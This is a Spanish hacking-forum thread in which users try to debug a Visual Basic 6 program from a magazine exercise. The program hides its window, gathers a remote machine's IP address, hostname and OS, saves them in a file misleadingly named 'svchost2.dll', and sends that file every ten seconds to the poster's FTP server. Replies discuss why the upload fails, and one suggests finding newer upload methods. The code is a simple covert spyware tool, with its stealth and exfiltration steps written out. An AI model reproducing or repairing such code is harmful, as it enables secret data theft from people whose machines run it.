elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [Revistas HXC] No me funciona el IPHXC
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Revistas HXC] No me funciona el IPHXC  (Leído 3,802 veces)
Erqox

Desconectado Desconectado

Mensajes: 8


Ver Perfil
[Revistas HXC] No me funciona el IPHXC
« en: 3 Julio 2008, 12:30 pm »

Muy buenas a todos, estoy haciendo las prácticas de las revistas HXC, y estoy intentando terminar el programa IPHXC, k te manda la IP, el nombre del pc y el SO k utiliza un host remoto a un server FTP k tu le hayas indicado.

Creo k lo he hecho todo bien, y en teoría cada 10 s me tendría que mandar a un server ftp un archivo con esos datos, pero no lo hace, únicamente me lo crea en la carpeta donde está alojado el proyecto. LO he revisado muchas veces y parece que too está bien, a ver si alguien conj conocimienos me pudiese ayudar.

Gracias de antemano, ahí va el código:


Código:
Dim Ti 'declaramos la variable

Private Sub Form_Load()

On Error GoTo Error 'Hacemos k salte a "Error:"

Form1.Visible = False 'Hacemos k sea "invisible" ^^

Timer1.Interval = 1000  'El timer se completa en 1 s.
Ti = 0  'Ti al principio es igual a 0

Error:

End Sub


Private Sub Command1_Click()

On Error GoTo Error 'Hacemos k salte a "Error:"

Ti = Ti + 1 'le sumamos 1
Label1.Caption = Ti 'hacemos que label muestre en el caption el valor de Ti

If Ti = 10 Then 'Si Ti es igual a 10 haz esto, sino sigue el programa

Open ("svchost2.dll") For Output As #1 'acción a ejecutar si se cumple la condición.

Print #1, "Ip del host", Winsock1.LocalIP   'IP del host
Print #1, "Nombre del host", Winsock1.LocalHostName  'Nombre del host
Print #1, "SO del host", SysInfo1.OSPlatform 'V. de win2 del host
Print #1, Date 'Fecha
Print #1, Time 'HOra

Close #1

Inet1.Execute "ftp://xxxxx:xxxxxx@erqox.iespana.es/", "PUT svchost2.dll" & Winsock.LocalHostName & ".txt" 'Hacemos que nos mande el archivo a nuestra cuenta FTP

Ti = 0 'Hacemos que Ti vuelva a ser 0


End If  'Fin del bucle de decisión.

Error:

End Sub

Private Sub Timer1_Timer()

On Error GoTo Error 'Hacemos k salte a "Error:"

Call Command1_Click    'Llama al command1 cuando se complete el timer

Error:

End Sub


« Última modificación: 4 Julio 2008, 12:46 pm por Erqox » En línea

SKL (orignal)

Desconectado Desconectado

Mensajes: 259


UpLoadSourceCode


Ver Perfil WWW
Re: [Revistas HXC] No me funciona el IPHXC
« Respuesta #1 en: 4 Julio 2008, 00:13 am »

estaria re bueno que pongas la etiqueta CODE!!! para visualizar el codigo


En línea

Erqox

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: [Revistas HXC] No me funciona el IPHXC
« Respuesta #2 en: 4 Julio 2008, 12:45 pm »

Perdon , es verdad  :P ahora edito
En línea

pedrodf007

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [Revistas HXC] No me funciona el IPHXC
« Respuesta #3 en: 1 Septiembre 2009, 23:27 pm »

Erqox yo tengo precisamente el mismo problema que vos, me podrias decir como lo solucionaste?
te agradeceria que me des una mano porque me estoy quemando la cabeza con este ejercicio :-\
En línea

mariana_87

Desconectado Desconectado

Mensajes: 28


Ver Perfil
Re: [Revistas HXC] No me funciona el IPHXC
« Respuesta #4 en: 1 Septiembre 2009, 23:29 pm »

decime algo el archivo te lo crea sin contenido no?
En línea

pedrodf007

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [Revistas HXC] No me funciona el IPHXC
« Respuesta #5 en: 2 Septiembre 2009, 02:46 am »

el executable a mi me lo crea con el codigo tal cual esta en la revista y cuando lo executo crea el archivo en la pc y tambien se conecta con el servidor ftp pero no le sube el archivo, ese es mi problema... no saben por que puede ser que no le suba el archivo??? le doy permisos completos de escritura y demas a todas las carpetas pero no lo sube... alguien sabe que puede ser???? :huh:
En línea

mariana_87

Desconectado Desconectado

Mensajes: 28


Ver Perfil
Re: [Revistas HXC] No me funciona el IPHXC
« Respuesta #6 en: 5 Septiembre 2009, 23:49 pm »

eso es porque tenes un sistema actualizado , ese codigo de esa revista es viejo , no te va servir para subir archivos, busca hay muchas maneras de subir archivos que si funcionan todavia.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines